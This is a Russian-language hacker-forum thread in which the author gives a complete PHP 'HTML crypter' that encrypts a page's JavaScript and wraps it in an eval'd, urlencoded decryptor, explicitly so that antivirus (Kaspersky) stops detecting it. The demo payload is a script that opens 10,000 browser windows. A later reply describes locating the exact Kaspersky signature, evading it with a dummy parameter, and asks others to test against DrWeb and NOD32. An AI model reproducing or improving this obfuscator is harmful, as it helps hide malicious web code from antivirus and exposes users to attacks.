hackerszone All about Computer

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » hackerszone All about Computer » Кодер » html-криптор на php


html-криптор на php

Сообщений 1 страница 6 из 6

1

Внимание:
Статья предназначена только для ознакомления, автор не несет ответственность за использование и распространение
скриптов из этой статьи.

Сегодня мы напишем html-криптор на php.

Зачем это может пригодиться?
Это может пригодится, если нужно скрыть исходный код страницы,
или если антивирусу не нравится ваша страничка, а вы хотите чтобы он забыл о ней.
Например:

Код:
<script language = javascript>
function с(){
var i=1;
while (i < 10000){
window. open("about:blank");
i++;
}
}
c();
</script>

Сохраните это в файл 1.html и каспера сразу закричит, что это запускать нельзя.

Итак приступим:

Для начала нам нужно загрузить файл в переменную

Код:
$file=join('',file('in.html'));

Затем нам нужно записать содержимое файла в одну строчку

$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);

Теперь в переменной $file находится содержимое in.html

Затем его надо зашифровать, для этого создадим функцию шифрования:

Код:
function a($n)
{
	$q='';
	$e='';
	$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
	for($l=0;$l<strlen($n);$l++)
	{
  $o=$n[$l];
  $m=strpos($p,$o);
  if($m>-1)
  {
  	$z=(($m+1)-1);
  	if($z==79)
  	{
    $z =0;
  	}
  	$q .= $p[$z+1];
  } else {
  	$q.=$o;
  }
	}
	return $q;
}

Шифрование происходит следующим образом: каждый символ шифруемого кода ищется в ключе, и если находится то заменяется на следующий символ ключа.

Код:
$file=a($file);//эта строка вызывает функцию шифрования

Теперь нам нужен расшифровщик на javascript

Код:
function decrypt(n)
{
	var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";
	for(l=0;l<n.length;l++)
	{
  ch=n.charAt(l);
  ind=key.indexOf(ch);
  if(ind>-1)
  {
  	if(ind==0)
  	{
    ind =79
  	}
  	q+=key.charAt(ind-1)
  } else {
  	q+=ch
  }
	};
document.write(q)
}

Принцип действия я думаю понятен.

Поместим расшифровщик в переменную $decrypt

Также для работы криптора нужен инициализатор:

Код:
function load(code,dfunc)
{
	eval(dfunc);
	decrypt(code);
}

Но похожий метод шифрования использовался в каком-то черве и каспера
громко ругается на этот кусок кода, поэтому добавим еще один параметр
инициализатору:

Код:
function load(code,dfunc,anticasp)
{
	eval(dfunc);
	decrypt(code);
}

Ему мы передадим в параметрах зашифрованый код и код расшифровщикаю

Для большей скрытности и усложнения анализа кода переведем исходник расшифровщика в шестнадцатиричный формат
функцией urlencode,после этого заменим знаки плюса на пробелы.
(это связано с тем, что urlencode выдает код, в котором вместо пробелов плюсы)

Код:
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);

В данный момент в переменной $decrypt хранится расшифровщик, а в переменной $file зашифрованый файл, но в переменной $file
есть одинарные кавычки, а они не дадут работать инициализатору (параметры ему будут передаваться тоже в одинарных кавычках),
заменим их на \'

Код:
$file=str_replace("'","\'",$file);

Нам осталось лишь сформировать исходный код зашифрованой страницы:

Код:
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$code."',unescape('".$decrypt."'));</script>";

Исходный код станички сейчас находится в переменной $cont. В нем описывается функция инициализатора,
затем инициализатору передаются зашифрованая информация и код расшифровщика, который преобразуется в обычный текст,
расшифровщик eval'ится и запускается функция декодирования, находящаяся в нем, которая уже выводит расшифрованую информацию.

Последнее, что нам нужно сделать - записать в файл исходный код страницы:

Код:
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);

Вот полный код криптора:

Код:
<?
function a($n)
{
	$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
	$q='';
	$e='';
	for($l=0;$l<strlen($n);$l++)
	{
  $o=$n[$l];
  $m=strpos($p,$o);
  if($m>-1)
  {
  	$z=(($m+1)-1);
  	if($z==79)
  	{
    $z =0;
  	}
  	$q .= $p[$z+1];
  } else {
  	$q.=$o;
  }
	}
	return $q;
}
$file=join('',file('in.html'));
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);
$file=a($file);
$decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
$file=str_replace("'","\'",$file);
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>";
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);
?>

Напоследок зашифруем код из начала статьи и убедимся, что он работает, а каспера молчит.

В данном крипторе можно многое доработать, например сделать шифрование каждый раз разным ключом, добавить полиморфный движок,
но это я оставляю вам.
Криптор тестировался на ИЕ(Предупреждение) и Опере(Ok), Фаерфоксе(Ok).

При копировании статьи или ее частей ссылка на автора объязательна.
P.S:Все комментарии из шифруемого скрипта надо удалять - иначе не работает.
P.P.S:Повторяю, что статья предназначена только для ознакомления - не надо шифровать вредоносный код и впаривать
его другим людям.

0

2

Молодец!
Сам писал?

0

3

да

0

4

Для удобства пользования в мирных целях(скрытие исходного кода страницы)
сделал небольшое дополнение, статью поправил, но для тех кому лень
читать ее еще раз пишу что надо сделать:
Ищем строчку

Код:
$file=join('',file('in.html'));

И добавляем после нее

Код:
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);

Теперь не нужно писать исходный код в одну строчку - программа сама
склеивает все строки в одну.

P.S Все комментарии из шифруемого кода надо удалять или будут глюки.

0

5

Х.З щас новые базы закачаю, буду смотреть.
------------------------------------------------------
Данный метод шифрования использовал какой-то червь - он создавал страничку,
которая через бедного ослика должна была его распространять.В нем, как я думаю,
был полиморфный генератор, но я крекинг изучать тока недавно начал, поэтому расдирать
его не стал и написал свой с похожим методом шифрования,
написал статью и начал писать для себя полиморфный. Видимо каспера думает, что эту
страничку червь сгенерировал. После 5 минут экспериментов выяснилось, что каспер палит
его по куску вида

Код:
function a(a1,a2){eval(a2);b(a2)};a('',unescape(''))

но при добавлении лишнего параметра каспер затыкается.
поэтому меняем

Код:
function load(code,dfunc){eval(dfunc);decrypt(code);}

на

Код:
function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}

И каспера склеивает ласты.

Статью поправил.
В базы касперы этот код попал 26 мая 2006,
но исправленый сегодняшние базы не палят.
P.S:У кого есть DrWeb или NOD32 проверьте им новый файл и
скажите палится или нет.

0

6

О! Круто

0


Вы здесь » hackerszone All about Computer » Кодер » html-криптор на php